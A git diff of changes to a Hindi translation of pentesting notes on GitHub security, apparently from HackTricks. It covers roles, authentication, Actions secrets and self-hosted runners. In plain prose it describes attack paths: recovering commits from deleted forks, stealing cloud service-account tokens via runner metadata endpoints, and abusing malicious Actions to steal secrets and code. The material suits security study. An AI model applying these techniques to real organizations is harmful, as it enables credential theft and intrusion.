+3. आप अपनी "अपस्ट्रीम" रिपॉजिटरी को सार्वजनिक बनाते हैं और अपने फोर्क को निजी रखते हैं।
> [!CAUTION]
-> आंतरिक फोर्क बनाए जाने और सार्वजनिक संस्करण सार्वजनिक किए जाने के बीच के समय में आंतरिक फोर्क में धकेले गए सभी डेटा तक पहुँच संभव है।
+> आंतरिक फोर्क बनाए जाने और सार्वजनिक संस्करण को सार्वजनिक किए जाने के बीच के समय में आंतरिक फोर्क में धकेले गए सभी डेटा तक पहुँच संभव है।
## हटाए गए/छिपे हुए फोर्क से कमिट कैसे खोजें
@@ -47,7 +47,7 @@ Github से डेटा तक पहुँचने के ये तरी
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
-और अंतिम वाला एक छोटा sha-1 है जो ब्रूटफोर्स किया जा सकता है।
+और अंतिम वाला एक छोटा sha-1 का उपयोग करता है जो ब्रूटफोर्स किया जा सकता है।
## संदर्भ
diff --git a/src/pentesting-ci-cd/github-security/basic-github-information.md b/src/pentesting-ci-cd/github-security/basic-github-information.md
index 8105fd68c..9736ff095 100644
--- a/src/pentesting-ci-cd/github-security/basic-github-information.md
+++ b/src/pentesting-ci-cd/github-security/basic-github-information.md
@@ -6,7 +6,7 @@
एक बड़े **कंपनी** का बुनियादी गिटहब वातावरण संरचना एक **उद्यम** है जो **कई संगठनों** का मालिक है और उनमें से प्रत्येक में **कई रिपॉजिटरी** और **कई टीमें** हो सकती हैं। छोटे कंपनियों के पास केवल **एक संगठन और कोई उद्यम** हो सकता है।
-एक उपयोगकर्ता के दृष्टिकोण से, एक **उपयोगकर्ता** विभिन्न **उद्यमों और संगठनों** का **सदस्य** हो सकता है। उनके भीतर, उपयोगकर्ता के पास **विभिन्न उद्यम, संगठन और रिपॉजिटरी भूमिकाएँ** हो सकती हैं।
+एक उपयोगकर्ता के दृष्टिकोण से, एक **उपयोगकर्ता** **विभिन्न उद्यमों और संगठनों** का **सदस्य** हो सकता है। उनके भीतर उपयोगकर्ता के पास **विभिन्न उद्यम, संगठन और रिपॉजिटरी भूमिकाएँ** हो सकती हैं।
इसके अलावा, एक उपयोगकर्ता **विभिन्न टीमों** का **भाग** हो सकता है जिनकी विभिन्न उद्यम, संगठन या रिपॉजिटरी भूमिकाएँ हैं।
@@ -26,8 +26,8 @@
- **Organization owners**: संगठन के मालिकों के पास **आपके संगठन तक पूर्ण प्रशासनिक पहुँच** होती है। इस भूमिका को सीमित किया जाना चाहिए, लेकिन आपके संगठन में दो से कम लोगों के लिए नहीं।
- **Organization members**: **डिफ़ॉल्ट**, गैर-प्रशासनिक भूमिका **संगठन में लोगों** के लिए संगठन सदस्य है। डिफ़ॉल्ट रूप से, संगठन के सदस्यों के पास **कई अनुमतियाँ** होती हैं।
- **Billing managers**: बिलिंग प्रबंधक वे उपयोगकर्ता होते हैं जो **आपके संगठन के लिए बिलिंग सेटिंग्स का प्रबंधन** कर सकते हैं, जैसे भुगतान जानकारी।
-- **Security Managers**: यह एक भूमिका है जिसे संगठन के मालिक किसी भी टीम को सौंप सकते हैं। जब लागू किया जाता है, तो यह टीम के प्रत्येक सदस्य को **संगठन में सुरक्षा अलर्ट और सेटिंग्स का प्रबंधन करने, साथ ही सभी रिपॉजिटरी के लिए पढ़ने की अनुमतियाँ** देता है।
-- यदि आपके संगठन में एक सुरक्षा टीम है, तो आप सुरक्षा प्रबंधक भूमिका का उपयोग करके टीम के सदस्यों को संगठन तक पहुँच देने के लिए न्यूनतम पहुँच दे सकते हैं।
+- **Security Managers**: यह एक भूमिका है जिसे संगठन के मालिक किसी भी टीम को सौंप सकते हैं। जब लागू किया जाता है, तो यह टीम के प्रत्येक सदस्य को **आपके संगठन में सुरक्षा अलर्ट और सेटिंग्स का प्रबंधन करने, साथ ही संगठन में सभी रिपॉजिटरी के लिए पढ़ने की अनुमतियाँ** देता है।
+- यदि आपके संगठन में एक सुरक्षा टीम है, तो आप सुरक्षा प्रबंधक भूमिका का उपयोग टीम के सदस्यों को संगठन तक पहुँच देने के लिए कर सकते हैं।
- **Github App managers**: अतिरिक्त उपयोगकर्ताओं को **संगठन द्वारा स्वामित्व वाले GitHub Apps का प्रबंधन** करने की अनुमति देने के लिए, एक मालिक उन्हें GitHub App प्रबंधक अनुमतियाँ दे सकता है।
- **Outside collaborators**: एक बाहरी सहयोगी वह व्यक्ति है जिसके पास **एक या अधिक संगठन रिपॉजिटरी तक पहुँच है लेकिन वह स्पष्ट रूप से संगठन का सदस्य नहीं है**।
@@ -35,7 +35,7 @@
### Members Privileges
-_https://github.com/organizations/\/settings/member_privileges_ में आप देख सकते हैं कि **संगठन का हिस्सा होने के नाते उपयोगकर्ताओं के पास क्या अनुमतियाँ होंगी**।
+_https://github.com/organizations/\/settings/member_privileges_ में आप देख सकते हैं कि **संगठन का हिस्सा होने के नाते उपयोगकर्ताओं के पास कौन सी अनुमतियाँ होंगी**।
यहाँ कॉन्फ़िगर की गई सेटिंग्स संगठन के सदस्यों की निम्नलिखित अनुमतियों को इंगित करेंगी:
@@ -44,26 +44,26 @@ _https://github.com/organizations/\/settings/member_privileges_ मे
- यदि रिपॉजिटरी का फोर्क करना संभव है।
- यदि बाहरी सहयोगियों को आमंत्रित करना संभव है।
- यदि सार्वजनिक या निजी साइटों को प्रकाशित किया जा सकता है।
-- रिपॉजिटरी पर व्यवस्थापकों के पास क्या अनुमतियाँ हैं।
-- यदि सदस्य नई टीमें बना सकते हैं।
+- रिपॉजिटरी पर व्यवस्थापकों के पास जो अनुमतियाँ हैं।
+- यदि सदस्यों को नई टीमें बनाने की अनुमति है।
### Repository Roles
डिफ़ॉल्ट रूप से रिपॉजिटरी भूमिकाएँ बनाई जाती हैं:
- **Read**: **गैर-कोड योगदानकर्ताओं** के लिए अनुशंसित जो आपके प्रोजेक्ट को देखना या चर्चा करना चाहते हैं।
-- **Triage**: **योगदानकर्ताओं के लिए अनुशंसित जिन्हें मुद्दों और पुल अनुरोधों का सक्रिय रूप से प्रबंधन करने की आवश्यकता होती है** बिना लिखने की पहुँच के।
+- **Triage**: **योगदानकर्ताओं के लिए अनुशंसित जिन्हें मुद्दों और पुल अनुरोधों का सक्रिय रूप से प्रबंधन करने** की आवश्यकता होती है बिना लिखने की पहुँच के।
- **Write**: योगदानकर्ताओं के लिए अनुशंसित जो **सक्रिय रूप से आपके प्रोजेक्ट में योगदान करते हैं**।
-- **Maintain**: **प्रोजेक्ट प्रबंधकों के लिए अनुशंसित जिन्हें रिपॉजिटरी का प्रबंधन करने की आवश्यकता होती है** बिना संवेदनशील या विनाशकारी कार्यों की पहुँच के।
+- **Maintain**: **प्रोजेक्ट प्रबंधकों के लिए अनुशंसित जिन्हें रिपॉजिटरी का प्रबंधन करने** की आवश्यकता होती है बिना संवेदनशील या विनाशकारी कार्यों की पहुँच के।
- **Admin**: उन लोगों के लिए अनुशंसित जिन्हें **प्रोजेक्ट तक पूर्ण पहुँच** की आवश्यकता होती है, जिसमें सुरक्षा प्रबंधन या रिपॉजिटरी को हटाने जैसे संवेदनशील और विनाशकारी कार्य शामिल हैं।
आप इस तालिका में प्रत्येक भूमिका के अनुमतियों की **तुलना** कर सकते हैं [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
-आप _https://github.com/organizations/\/settings/roles_ में **अपनी भूमिकाएँ भी बना सकते हैं**।
+आप _https://github.com/organizations/\/settings/roles_ में अपनी स्वयं की भूमिकाएँ भी **बना सकते हैं**।
### Teams
-आप _https://github.com/orgs/\/teams_ में **एक संगठन में बनाई गई टीमों की सूची** देख सकते हैं। ध्यान दें कि अन्य टीमों के बच्चों को देखने के लिए आपको प्रत्येक माता टीम तक पहुँचने की आवश्यकता है।
+आप _https://github.com/organizations/\/teams_ में **एक संगठन में बनाई गई टीमों की सूची** देख सकते हैं। ध्यान दें कि अन्य टीमों के बच्चों को देखने के लिए आपको प्रत्येक माता-पिता टीम तक पहुँचने की आवश्यकता है।
### Users
@@ -73,83 +73,83 @@ _https://github.com/organizations/\/settings/member_privileges_ मे
## Github Authentication
-Github आपके खाते में प्रमाणित होने और आपकी ओर से क्रियाएँ करने के लिए विभिन्न तरीके प्रदान करता है।
+Github आपके खाते में प्रमाणित होने और आपके पक्ष में कार्य करने के लिए विभिन्न तरीके प्रदान करता है।
### Web Access
-**github.com** पर पहुँचते समय आप अपने **उपयोगकर्ता नाम और पासवर्ड** (और संभवतः एक **2FA**) का उपयोग करके लॉगिन कर सकते हैं।
+**github.com** पर पहुँचते समय आप अपने **उपयोगकर्ता नाम और पासवर्ड** (और संभावित रूप से **2FA**) का उपयोग करके लॉगिन कर सकते हैं।
### **SSH Keys**
-आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जिससे संबंधित **निजी कुंजी आपकी ओर से क्रियाएँ करने की अनुमति देती है।** [https://github.com/settings/keys](https://github.com/settings/keys)
+आप अपने खाते को एक या एक से अधिक सार्वजनिक कुंजियों के साथ कॉन्फ़िगर कर सकते हैं जिससे संबंधित **निजी कुंजी आपके पक्ष में कार्य करने की अनुमति देती है।** [https://github.com/settings/keys](https://github.com/settings/keys)
#### **GPG Keys**
-आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएँ**। [यहाँ सतर्क मोड के बारे में अधिक जानें](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode)।
+आप **इन कुंजियों के साथ उपयोगकर्ता का प्रतिनिधित्व नहीं कर सकते** लेकिन यदि आप इसका उपयोग नहीं करते हैं तो यह संभव हो सकता है कि आप **बिना हस्ताक्षर के कमिट भेजने के लिए खोजे जाएं**। [vigilant mode here](https://docs.github.com/en/authentication/managing-commit-signature-verification/displaying-verification-statuses-for-all-of-your-commits#about-vigilant-mode) के बारे में अधिक जानें।
### **Personal Access Tokens**
-आप **एक एप्लिकेशन को अपने खाते तक पहुँच देने के लिए व्यक्तिगत पहुँच टोकन उत्पन्न कर सकते हैं**। व्यक्तिगत पहुँच टोकन बनाते समय, **उपयोगकर्ता** को **अनुमतियाँ** निर्दिष्ट करने की आवश्यकता होती है जो **टोकन** के पास होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens)
+आप व्यक्तिगत पहुँच टोकन उत्पन्न कर सकते हैं ताकि **एक एप्लिकेशन को आपके खाते तक पहुँच** मिल सके। व्यक्तिगत पहुँच टोकन बनाते समय, **उपयोगकर्ता** को **अनुमतियाँ** निर्दिष्ट करने की आवश्यकता होती है जो **टोकन** के पास होंगी। [https://github.com/settings/tokens](https://github.com/settings/tokens)
### Oauth Applications
-Oauth एप्लिकेशन आपसे अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी के एक भाग तक पहुँचने या आपको प्रतिनिधित्व करने के लिए** कुछ क्रियाएँ करने के लिए। इस कार्यक्षमता का एक सामान्य उदाहरण **गिटहब के साथ लॉगिन बटन** है जो आप कुछ प्लेटफार्मों पर पा सकते हैं।
+Oauth एप्लिकेशन आपसे अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी के एक भाग तक पहुँचने या आपको प्रतिनिधित्व करने** के लिए कुछ कार्य करने के लिए। इस कार्यक्षमता का एक सामान्य उदाहरण **गिटहब के साथ लॉगिन बटन** है जो आप कुछ प्लेटफार्मों पर पा सकते हैं।
-- आप [https://github.com/settings/developers](https://github.com/settings/developers) में अपनी **Oauth एप्लिकेशन** बना सकते हैं।
-- आप [https://github.com/settings/applications](https://github.com/settings/applications) में अपने खाते तक पहुँच रखने वाली सभी **Oauth एप्लिकेशन** देख सकते हैं।
-- आप [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) में **Oauth Apps के लिए पूछी जाने वाली स्कोप** देख सकते हैं।
-- आप _https://github.com/organizations/\/settings/oauth_application_policy_ में एक **संगठन** में एप्लिकेशनों की तीसरे पक्ष की पहुँच देख सकते हैं।
+- आप [https://github.com/settings/developers](https://github.com/settings/developers) में अपने स्वयं के **Oauth एप्लिकेशन** **बना सकते हैं**।
+- आप [https://github.com/settings/applications](https://github.com/settings/applications) में अपने खाते तक पहुँच रखने वाले सभी **Oauth एप्लिकेशन** देख सकते हैं।
+- आप [https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps](https://docs.github.com/en/developers/apps/building-oauth-apps/scopes-for-oauth-apps) में **Oauth Apps के लिए पूछे जाने वाले स्कोप** देख सकते हैं।
+- आप _https://github.com/organizations/\/settings/oauth_application_policy_ में एक **संगठन** में एप्लिकेशनों की तीसरी पार्टी पहुँच देख सकते हैं।
कुछ **सुरक्षा सिफारिशें**:
- एक **OAuth App** को हमेशा **GitHub पर सभी GitHub उपयोगकर्ता के रूप में कार्य करना चाहिए** (उदाहरण के लिए, जब उपयोगकर्ता सूचनाएँ प्रदान करते हैं) और केवल निर्दिष्ट स्कोप तक पहुँच के साथ।
-- एक OAuth App को एक पहचान प्रदाता के रूप में उपयोग किया जा सकता है, जो प्रमाणित उपयोगकर्ता के लिए "GitHub के साथ लॉगिन" सक्षम करता है।
+- एक OAuth App को एक पहचान प्रदाता के रूप में उपयोग किया जा सकता है जो प्रमाणित उपयोगकर्ता के लिए "GitHub के साथ लॉगिन" सक्षम करता है।
- **नहीं** बनाएं एक **OAuth App** यदि आप चाहते हैं कि आपका एप्लिकेशन **एकल रिपॉजिटरी** पर कार्य करे। `repo` OAuth स्कोप के साथ, OAuth Apps **प्रमाणित उपयोगकर्ता के सभी रिपॉजिटरी पर कार्य कर सकते हैं**।
- **नहीं** बनाएं एक OAuth App यदि आप अपने **टीम या कंपनी** के लिए एक एप्लिकेशन के रूप में कार्य करना चाहते हैं। OAuth Apps एक **एकल उपयोगकर्ता** के रूप में प्रमाणित होते हैं, इसलिए यदि एक व्यक्ति कंपनी के उपयोग के लिए एक OAuth App बनाता है, और फिर वह कंपनी छोड़ देता है, तो कोई और इसके लिए पहुँच नहीं रखेगा।
-- **अधिक** यहाँ [यहाँ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps)।
+- **अधिक** यहाँ [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-oauth-apps) में।
### Github Applications
-Github एप्लिकेशन अनुमतियाँ मांग सकते हैं **आपकी गिटहब जानकारी तक पहुँचने या आपको प्रतिनिधित्व करने के लिए** कुछ विशिष्ट क्रियाएँ करने के लिए। Github Apps में आपको उन रिपॉजिटरी को निर्दिष्ट करना होगा जिन तक एप्लिकेशन की पहुँच होगी।
+Github एप्लिकेशन अनुमतियाँ मांग सकते हैं ताकि **आपकी गिटहब जानकारी तक पहुँचने या आपको प्रतिनिधित्व करने** के लिए विशिष्ट कार्यों को विशिष्ट संसाधनों पर किया जा सके। Github Apps में आपको उन रिपॉजिटरी को निर्दिष्ट करना होगा जिन तक एप्लिकेशन की पहुँच होगी।
-- एक GitHub App स्थापित करने के लिए, आपको **संगठन का मालिक या रिपॉजिटरी में व्यवस्थापक अनुमतियाँ** होनी चाहिए।
-- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से कनेक्ट करना चाहिए।
-- आप [https://github.com/settings/apps](https://github.com/settings/apps) में अपनी खुद की Github एप्लिकेशन बना सकते हैं।
-- आप [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) में अपने खाते तक पहुँच रखने वाली सभी **Github एप्लिकेशन** देख सकते हैं।
-- ये हैं **Github एप्लिकेशन के लिए API Endpoints** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)। एप्लिकेशन की अनुमतियों के आधार पर, यह उनमें से कुछ तक पहुँच प्राप्त कर सकेगा।
+- GitHub App स्थापित करने के लिए, आपको **संगठन का मालिक या रिपॉजिटरी में व्यवस्थापक अनुमतियाँ** होनी चाहिए।
+- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से **जोड़ना चाहिए**।
+- आप [https://github.com/settings/apps](https://github.com/settings/apps) में अपना स्वयं का Github एप्लिकेशन बना सकते हैं।
+- आप [https://github.com/settings/apps/authorizations](https://github.com/settings/apps/authorizations) में अपने खाते तक पहुँच रखने वाले सभी **Github एप्लिकेशन** देख सकते हैं।
+- ये हैं **Github एप्लिकेशनों के लिए API Endpoints** [https://docs.github.com/en/rest/overview/endpoints-available-for-github-app](https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps)। एप्लिकेशन की अनुमतियों के आधार पर, यह उनमें से कुछ तक पहुँच प्राप्त कर सकेगा।
- आप _https://github.com/organizations/\/settings/installations_ में एक **संगठन** में स्थापित एप्लिकेशन देख सकते हैं।
कुछ सुरक्षा सिफारिशें:
-- एक GitHub App को **एक उपयोगकर्ता से स्वतंत्र रूप से कार्य करना चाहिए** (जब तक एप्लिकेशन [उपयोगकर्ता-से-सरवर](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) टोकन का उपयोग नहीं कर रहा है)। उपयोगकर्ता-से-सरवर पहुँच टोकनों को अधिक सुरक्षित रखने के लिए, आप ऐसे पहुँच टोकन का उपयोग कर सकते हैं जो 8 घंटे बाद समाप्त हो जाएंगे, और एक रिफ्रेश टोकन जो नए पहुँच टोकन के लिए बदला जा सकता है। अधिक जानकारी के लिए, "[उपयोगकर्ता-से-सरवर पहुँच टोकनों को रिफ्रेश करना](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" देखें।
+- एक GitHub App को **उपयोगकर्ता से स्वतंत्र कार्य करना चाहिए** (जब तक एप्लिकेशन [उपयोगकर्ता-से-सर्वर](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps#user-to-server-requests) टोकन का उपयोग नहीं कर रहा है)। उपयोगकर्ता-से-सर्वर पहुँच टोकनों को अधिक सुरक्षित रखने के लिए, आप ऐसे पहुँच टोकन का उपयोग कर सकते हैं जो 8 घंटे बाद समाप्त हो जाएंगे, और एक रिफ्रेश टोकन जो नए पहुँच टोकन के लिए बदला जा सकता है। अधिक जानकारी के लिए, "[Refreshing user-to-server access tokens](https://docs.github.com/en/apps/building-github-apps/refreshing-user-to-server-access-tokens)" देखें।
- सुनिश्चित करें कि GitHub App **विशिष्ट रिपॉजिटरी** के साथ एकीकृत है।
-- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से कनेक्ट करना चाहिए।
+- GitHub App को **एक व्यक्तिगत खाते या एक संगठन** से **जोड़ना चाहिए**।
- GitHub App से यह उम्मीद न करें कि वह सब कुछ जानता है और वह सब कुछ कर सकता है जो एक उपयोगकर्ता कर सकता है।
- **यदि आपको केवल "GitHub के साथ लॉगिन" सेवा की आवश्यकता है तो GitHub App का उपयोग न करें**। लेकिन एक GitHub App एक [उपयोगकर्ता पहचान प्रवाह](https://docs.github.com/en/apps/building-github-apps/identifying-and-authorizing-users-for-github-apps) का उपयोग करके उपयोगकर्ताओं को लॉगिन कर सकता है _और_ अन्य चीजें कर सकता है।
-- यदि आप अपने एप्लिकेशन का उपयोग GitHub Actions के साथ कर रहे हैं और वर्कफ़्लो फ़ाइलों को संशोधित करना चाहते हैं, तो आपको उपयोगकर्ता की ओर से OAuth टोकन के साथ प्रमाणित होना चाहिए जिसमें `workflow` स्कोप शामिल है। उपयोगकर्ता को उस रिपॉजिटरी पर व्यवस्थापक या लिखने की अनुमति होनी चाहिए जिसमें वर्कफ़्लो फ़ाइल है। अधिक जानकारी के लिए, "[OAuth एप्लिकेशन के लिए स्कोप को समझना](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" देखें।
-- **अधिक** यहाँ [यहाँ](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps)।
+- यदि आप अपने एप्लिकेशन का उपयोग GitHub Actions के साथ कर रहे हैं और कार्यप्रवाह फ़ाइलों को संशोधित करना चाहते हैं, तो आपको उपयोगकर्ता की ओर से OAuth टोकन के साथ प्रमाणित होना चाहिए जिसमें `workflow` स्कोप शामिल है। उपयोगकर्ता को उस रिपॉजिटरी पर व्यवस्थापक या लिखने की अनुमति होनी चाहिए जिसमें कार्यप्रवाह फ़ाइल है। अधिक जानकारी के लिए, "[Understanding scopes for OAuth apps](https://docs.github.com/en/apps/building-oauth-apps/understanding-scopes-for-oauth-apps/#available-scopes)" देखें।
+- **अधिक** यहाँ [here](https://docs.github.com/en/developers/apps/getting-started-with-apps/about-apps#about-github-apps) में।
### Github Actions
-यह **गिटहब में प्रमाणित होने का एक तरीका नहीं है**, लेकिन एक **दुर्भावनापूर्ण** Github Action को **गिटहब तक अनधिकृत पहुँच प्राप्त हो सकती है** और **अनुमतियों** के आधार पर जो Action को दी गई हैं, कई **विभिन्न हमले** किए जा सकते हैं। अधिक जानकारी के लिए नीचे देखें।
+यह **गिटहब में प्रमाणित होने का एक तरीका नहीं है**, लेकिन एक **दुर्भावनापूर्ण** GitHub Action **गिटहब तक अनधिकृत पहुँच प्राप्त कर सकता है** और **अनुमतियों** के आधार पर जो Action को दी गई हैं, कई **विभिन्न हमले** किए जा सकते हैं। अधिक जानकारी के लिए नीचे देखें।
## Git Actions
-Git actions **जब कोई घटना होती है तब कोड के निष्पादन को स्वचालित** करने की अनुमति देते हैं। आमतौर पर निष्पादित कोड **रिपॉजिटरी के कोड से किसी न किसी तरह संबंधित होता है** (शायद एक डॉकर कंटेनर बनाना या यह जांचना कि PR में कोई रहस्य नहीं है)।
+Git actions को **जब कोई घटना होती है तब कोड के निष्पादन को स्वचालित** करने की अनुमति देता है। आमतौर पर निष्पादित कोड **रिपॉजिटरी के कोड से किसी न किसी तरह संबंधित होता है** (शायद एक डॉकर कंटेनर बनाना या यह जांचना कि PR में कोई रहस्य नहीं है)।
### Configuration
-_https://github.com/organizations/\/settings/actions_ में आप संगठन के लिए **गिटहब क्रियाओं की कॉन्फ़िगरेशन** की जाँच कर सकते हैं।
+_https://github.com/organizations/\/settings/actions_ में आप संगठन के लिए **गिटहब क्रियाओं की कॉन्फ़िगरेशन** की जांच कर सकते हैं।
गिटहब क्रियाओं के उपयोग को पूरी तरह से अस्वीकार करना, **सभी गिटहब क्रियाओं की अनुमति देना**, या केवल कुछ क्रियाओं की अनुमति देना संभव है।
-यह भी संभव है कि **किसे Github Action चलाने के लिए अनुमोदन की आवश्यकता है** और जब Github Action चलाया जाता है तो **GITHUB_TOKEN की अनुमतियाँ** को कॉन्फ़िगर किया जा सके।
+यह भी संभव है कि **किसे GitHub Action चलाने के लिए अनुमोदन की आवश्यकता है** और जब GitHub Action चलाया जाता है तो **GITHUB_TOKEN** की अनुमतियाँ कॉन्फ़िगर की जा सकें।
### Git Secrets
Github Action आमतौर पर गिटहब या तीसरे पक्ष के एप्लिकेशनों के साथ बातचीत करने के लिए कुछ प्रकार के रहस्यों की आवश्यकता होती है। **उन्हें स्पष्ट पाठ में रखने से बचने के लिए**, गिटहब उन्हें **Secrets** के रूप में रखने की अनुमति देता है।
-ये रहस्य **रिपॉजिटरी या सभी संगठन के लिए** कॉन्फ़िगर किए जा सकते हैं। फिर, **Action को रहस्य तक पहुँच प्राप्त करने के लिए** आपको इसे इस तरह घोषित करना होगा:
+ये रहस्य **रिपॉजिटरी या सभी संगठन** के लिए कॉन्फ़िगर किए जा सकते हैं। फिर, **Action को रहस्य तक पहुँच प्राप्त करने के लिए** आपको इसे इस तरह घोषित करना होगा:
```yaml
steps:
- name: Hello world action
@@ -169,73 +169,73 @@ example-command "$SUPER_SECRET"
> [!WARNING]
> Secrets **केवल उन Github Actions से एक्सेस किए जा सकते हैं** जिनमें उन्हें घोषित किया गया है।
-> एक बार जब उन्हें रेपो या संगठनों में कॉन्फ़िगर किया जाता है, तो **github के उपयोगकर्ता उन्हें फिर से एक्सेस नहीं कर पाएंगे**, वे केवल **उन्हें बदलने** में सक्षम होंगे।
+> एक बार जब उन्हें रिपॉजिटरी या संगठनों में कॉन्फ़िगर किया जाता है, तो **github के उपयोगकर्ता उन्हें फिर से एक्सेस नहीं कर पाएंगे**, वे केवल **उन्हें बदलने** में सक्षम होंगे।
-इसलिए, **github secrets चुराने का एकमात्र तरीका है कि आप उस मशीन तक पहुँच प्राप्त करें जो Github Action को निष्पादित कर रही है** (उस परिदृश्य में आप केवल Action के लिए घोषित किए गए secrets तक पहुँच प्राप्त कर पाएंगे)।
+इसलिए, **github secrets चुराने का एकमात्र तरीका है उस मशीन तक पहुंच प्राप्त करना जो Github Action को निष्पादित कर रही है** (उस परिदृश्य में आप केवल Action के लिए घोषित किए गए secrets तक पहुंच प्राप्त कर पाएंगे)।
### Git Environments
-Github **पर्यावरण** बनाने की अनुमति देता है जहाँ आप **secrets** को सहेज सकते हैं। फिर, आप github action को पर्यावरण के अंदर secrets तक पहुँच देने के लिए कुछ इस तरह कर सकते हैं:
+Github **पर्यावरण** बनाने की अनुमति देता है जहाँ आप **secrets** सहेज सकते हैं। फिर, आप कुछ इस तरह से वातावरण के अंदर secrets तक github action को एक्सेस देने के लिए कह सकते हैं:
```yaml
jobs:
deployment:
runs-on: ubuntu-latest
environment: env_name
```
-You can configure an environment to be **accessed** by **all branches** (default), **only protected** branches or **specify** which branches can access it.\
-It can also set a **number of required reviews** before **executing** an **action** using an **environment** or **wait** some **time** before allowing deployments to proceed.
+आप एक वातावरण को **सभी शाखाओं** (डिफ़ॉल्ट), **केवल संरक्षित** शाखाओं या **निर्धारित** करने के लिए कॉन्फ़िगर कर सकते हैं कि कौन सी शाखाएँ इसे एक्सेस कर सकती हैं।\
+यह एक **क्रिया** को **निष्पादित** करने से पहले **आवश्यक समीक्षाओं की संख्या** भी सेट कर सकता है या **तैनाती** को आगे बढ़ाने से पहले कुछ **समय** तक **रुक** सकता है।
### Git Action Runner
-A Github Action can be **executed inside the github environment** or can be executed in a **third party infrastructure** configured by the user.
+एक Github Action को **github वातावरण के अंदर निष्पादित** किया जा सकता है या इसे उपयोगकर्ता द्वारा कॉन्फ़िगर की गई **तीसरी पार्टी अवसंरचना** में निष्पादित किया जा सकता है।
-Several organizations will allow to run Github Actions in a **third party infrastructure** as it use to be **cheaper**.
+कई संगठन Github Actions को **तीसरी पार्टी अवसंरचना** में चलाने की अनुमति देंगे क्योंकि यह आमतौर पर **सस्ता** होता है।
-You can **list the self-hosted runners** of an organization in _https://github.com/organizations/\/settings/actions/runners_
+आप _https://github.com/organizations/\/settings/actions/runners_ में एक संगठन के **स्व-होस्टेड रनर्स** की सूची देख सकते हैं।
-The way to find which **Github Actions are being executed in non-github infrastructure** is to search for `runs-on: self-hosted` in the Github Action configuration yaml.
+यह पता लगाने का तरीका कि कौन सी **Github Actions गैर-github अवसंरचना में निष्पादित हो रही हैं** वह है कि Github Action कॉन्फ़िगरेशन yaml में `runs-on: self-hosted` के लिए खोजें।
-It's **not possible to run a Github Action of an organization inside a self hosted box** of a different organization because **a unique token is generated for the Runner** when configuring it to know where the runner belongs.
+यह **संभव नहीं है कि एक संगठन का Github Action एक अलग संगठन के स्व-होस्टेड बॉक्स के अंदर चलाया जाए** क्योंकि **रनर के लिए एक अद्वितीय टोकन उत्पन्न होता है** जब इसे कॉन्फ़िगर किया जाता है ताकि यह पता चल सके कि रनर किसका है।
-If the custom **Github Runner is configured in a machine inside AWS or GCP** for example, the Action **could have access to the metadata endpoint** and **steal the token of the service account** the machine is running with.
+यदि कस्टम **Github Runner को AWS या GCP के अंदर एक मशीन में कॉन्फ़िगर किया गया है** उदाहरण के लिए, तो Action **मेटाडेटा एंडपॉइंट तक पहुँच** प्राप्त कर सकता है और **सेवा खाते के टोकन को चुरा सकता है** जिसके साथ मशीन चल रही है।
### Git Action Compromise
-If all actions (or a malicious action) are allowed a user could use a **Github action** that is **malicious** and will **compromise** the **container** where it's being executed.
+यदि सभी क्रियाएँ (या एक दुर्भावनापूर्ण क्रिया) की अनुमति है, तो एक उपयोगकर्ता एक **Github action** का उपयोग कर सकता है जो **दुर्भावनापूर्ण** है और **कंटेनर** को **समझौता** करेगा जहाँ इसे निष्पादित किया जा रहा है।
> [!CAUTION]
-> A **malicious Github Action** run could be **abused** by the attacker to:
+> एक **दुर्भावनापूर्ण Github Action** चलाया जा सकता है जिसे हमलावर द्वारा **दुरुपयोग** किया जा सकता है:
>
-> - **Steal all the secrets** the Action has access to
-> - **Move laterally** if the Action is executed inside a **third party infrastructure** where the SA token used to run the machine can be accessed (probably via the metadata service)
-> - **Abuse the token** used by the **workflow** to **steal the code of the repo** where the Action is executed or **even modify it**.
+> - **सभी रहस्यों को चुराना** जिन तक Action की पहुँच है
+> - यदि Action को **तीसरी पार्टी अवसंरचना** के अंदर निष्पादित किया जाता है तो **पार्श्व में स्थानांतरित करना** जहाँ SA टोकन का उपयोग मशीन को चलाने के लिए किया जा सकता है (संभवतः मेटाडेटा सेवा के माध्यम से)
